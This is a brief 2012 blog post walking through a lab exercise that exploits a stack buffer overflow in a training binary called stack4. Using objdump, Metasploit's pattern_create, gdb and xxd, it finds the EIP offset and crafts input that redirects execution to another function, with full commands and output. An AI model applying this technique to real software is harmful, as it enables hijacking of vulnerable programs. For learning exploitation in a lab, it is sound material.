amccormack.net

Things I've learned and suspect I'll forget.

Using Metasploit and gdb to Exploit a Buffer Overflow 2012-01-25

In an exercise I came across today, I needed to overwrite the return address of the main function with the address of a different function. Here is one way to do this.

1. Using grep and objdump, find the address of the function I want to call.

>objdump -d program | grep functionname
080483f4 <functionname>:

2. Use metasploit's pattern_create function to create a unique string of length 120 and pipe into a file.

>~/metasploit/msf3/tools/pattern_create.rb 120 > ~/msfout

3. Use the pattern to find which value overrides EIP.

If you are using stdin, that is, you have to provide input after you start the program, you can use '<' to help you out.

>gdb stack4 -quiet
Reading symbols from /opt/bin/stack4...done.
(gdb) run < /home/user/msfout
Starting program: /opt/bin/stack4 < /home/user/msfout

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

The last line shows the value of our EIP register. So EIP is 0x63413563. A quick piece of python to see the value of those bytes:

>>> b = '63413563'
>>> for i in range(0,len(b),2):
    print chr(int(b[i:i+2],16))
c
A
5
c

Of course, this is little endian-ness so, we are looking in our pattern for c5Ac.

4.Transform the pattern into a hex file so that we can get the address we want

>xxd ~/msfout ~/msfout.hex

Then edit the output in vim using a search (/) for c5Ac (space added for emphasis):

0000000: 4161 3041 6131 4161 3241 6133 4161 3441  Aa0Aa1Aa2Aa3Aa4A
0000010: 6135 4161 3641 6137 4161 3841 6139 4162  a5Aa6Aa7Aa8Aa9Ab
0000020: 3041 6231 4162 3241 6233 4162 3441 6235  0Ab1Ab2Ab3Ab4Ab5
0000030: 4162 3641 6237 4162 3841 6239 4163 3041  Ab6Ab7Ab8Ab9Ac0A
0000040: 6331 4163 3241 6333 4163 3441 6335 4163  c1Ac2Ac3Ac4A c5Ac
0000050: 3641 6337 4163 3841 6339 4164 3041 6431  6Ac7Ac8Ac9Ad0Ad1
0000060: 4164 3241 6433 4164 3441 6435 4164 3641  Ad2Ad3Ad4Ad5Ad6A
0000070: 6437 4164 3841 6439 0a                   d7Ad8Ad9.

Replace the hex (not the ASCII representation) with the value we want, and cut out the excess:

0000000: 4161 3041 6131 4161 3241 6133 4161 3441  Aa0Aa1Aa2Aa3Aa4A
0000010: 6135 4161 3641 6137 4161 3841 6139 4162  a5Aa6Aa7Aa8Aa9Ab
0000020: 3041 6231 4162 3241 6233 4162 3441 6235  0Ab1Ab2Ab3Ab4Ab5
0000030: 4162 3641 6237 4162 3841 6239 4163 3041  Ab6Ab7Ab8Ab9Ac0A
0000040: 6331 4163 3241 6333 4163 3441 f483 0408  c1Ac2Ac3Ac4Ac5Ac

5. Now, run with the new pattern.

> xxd -r ~/msfout.hex | ./stack4
code flow successfully changed
Segmentation fault
>

And there we have it. The segfault is expected, of course, because we ended up destroying the stack.

published on 2012-01-25 by alex